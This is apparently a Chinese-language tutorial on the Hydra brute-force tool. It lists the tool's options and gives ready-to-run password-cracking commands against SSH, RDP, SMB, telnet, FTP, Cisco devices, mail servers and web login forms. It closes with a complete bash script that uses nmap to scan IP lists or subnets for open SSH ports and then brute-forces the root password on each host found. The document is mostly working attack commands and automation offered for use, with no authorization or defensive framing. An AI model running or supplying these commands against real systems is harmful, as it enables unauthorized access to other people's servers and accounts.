Hydra爆破神器
- 全能的暴力破解工具,功能强大,几乎支持所有的协议,是著名黑客组织thc开发的
- 在Kali Linux下已经是默认安装的
- hydra还支持GUI图形界面(xhydra)
参数详解:
- 帮助命令:hydra -h //查看基本用法
hydra [[[-l login|-L file] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w time] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get}
http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener
postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere
teamspeak sip vmauthd firebird ncp afp等等。
使用案例:
使用hydra破解ssh的密码
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh
破解https:
# hydra -m /index.php -l username -P pass.txt IP https
破解teamspeak:
# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
破解cisco:
# hydra -P pass.txt IP cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
破解smb:
# hydra -l administrator -P pass.txt IP smb
破解pop3:
# hydra -l muts -P pass.txt my.pop3.mail pop3
破解rdp 3389 :
hydra IP rdp -l administrator -P pass.txt -V
破解http-proxy:
# hydra -l admin -P pass.txt http-proxy://10.36.16.18
破解telnet
# hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
破解ftp:
# hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
# hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV
get方式提交,破解web登录:
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php
post方式提交,破解web登录:
该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。带参数破解如下:
<form action="index.php" method="POST">
<input type="text" name="name" /><BR><br>
<input type="password" name="pwd" /><br><br>
<input type="submit" name="sub" value="提交">
</form>
假设有以上一个密码登录表单,我们执行命令:
# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form
“index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”
说明:
破解的用户名是admin,
密码字典是pass.lst,
破解结果保存在ok.lst,
-t 是同时线程数为1,
-f 是当破解了一个密码就停止,
ip 是本地,就是目标ip,
http-post-form表示破解是采用http 的post 方式提交的表单密码破解。
后面参数是网页中对应的表单字段的name 属性,
后面
中的内容是表示错误猜解的返回信息提示,可以自定义。
批量
hydra -s 23 -V -l admin -p admin -t 16 -M IP地址目录 telnet
hydra -M target.txt rdp -L userlist.txt -P passwordlist.txt -V
组合拳 端口服务 弱密码爆破检测工具
SSH登录密码的破解工具
批量 对IP列表 IP地址进行SSH登录破解
- eg 批量爆破 密码 流程
首先探测对方主机是否开启22端口,如开启,则尝试进行SSH密码爆破。
这里用到两款强大的开源工具。
一个是nmap,用来探测22端口是否开启;
另一个是hydra,用来爆破SSH登录密码。
shell脚本
用nmap批量 扫描开放22端口的公网 设备,运行命令如下
nmap -vv -n –sS -sU -p22 -iL ./iplist.txt | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt
扫描iplist.txt IP地址是否开启22端口;
结果输出到22-output.txt
nmap -vv -n –sS -sU -p22 192.168.1.0/24 | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt
对一个网段的扫描,也可以换成一个IP。
-sS和-sU都是扫描策略的选项,
两个一起使用,可以提高扫描的可靠性。
实际测试 (内网环境),
nmap 存在漏扫 提高 准确率
不断调整扫描策略
第二步为,读取22-output.txt文件中开放22端口的主机,
使用hydra工具进行密码爆破,使用的命令如下:
hydra -l root -P ./password.txt -t 6 -vV 192.168.0.12 ssh | grep "host:"
这条命令的含义是采用密码本./password.txt中的密码,
对IP地址为:192.168.0.12的主机进行密码破解。
grep “host:”用来过滤打印的输出,只输出破解到密码的条目。
由于hydra一次只能对一个IP进行破解,
因此,在shell中写了一个循环,hydra一次任务结束后,
立即进行下一个IP的破解,
直到将22-output.txt文件中IP遍历完为止。
代码如下所示。
cat ./22-output.txt | while read line
do
echo "Current Task: ${line}"
hydra -l root -P $passfile -t 6 -vV $line ssh | grep "host:"
done
遍历代码很简单,不用惊讶,这就是shell脚本的神奇之处。
主要步骤讲完后,下面来看看整个代码,看如何用shell程序将这些串起来。
#!/bin/bash
if [ $# -lt 4 ]
#取得shell脚本参数个数 小于
# $0 取得脚本名度称(包含路径)
then
echo "usage: ./hydra.sh -p ./password.txt -f ./iplist.txt"
echo "usage: ./hydra.sh -p ./password.txt -l 192.168.9.0/24"
exit 1
fi
while [ -n "$1" ]
#字符串不为null,长度大于零
do
case "$1" in
#表达式
-p)
#匹配模式
passfile=$2
#echo $passfile
shift
;;
-f)
nmap -vv -n -sS -sU -p22 -iL $2 | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt
# 从列表中输入 输出扫描结果
shift
;;
-l)
nmap -vv -n -sS -sU -p22 $2 | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt
shift
;;
*)
echo "$1 is not an option"
echo "usage: ./hydra.sh -p ./password.txt -f ./iplist.txt"
echo "usage: ./hydra.sh -p ./password.txt -l 192.168.9.0/24"
exit 1
;;
esac
shift
done
echo "-----------port scan finished-----------"
chmod 666 ./22-output.txt
#echo `cat ./22-output.txt`
cat ./22-output.txt | while read line
#读取扫描结果
do
echo "Current Task: ${line}"
hydra -l root -P $passfile -t 6 -vV $line ssh | grep "host:"
# 根据密码字典爆破root
done
echo "-------password guessing finished-------"
这个程序做了一些参数传递的判断,核心代码行十分精简。
在使用程序之前,
需得在主机上安装nmap和hydra,Ubuntu下直接用apt安装。
运行很方便,下面是运行图,在内网环境下破解了3台主机的密码:
当然,能否破解成功,有一个好用的工具固然重要,但还需要一个强健的密码本。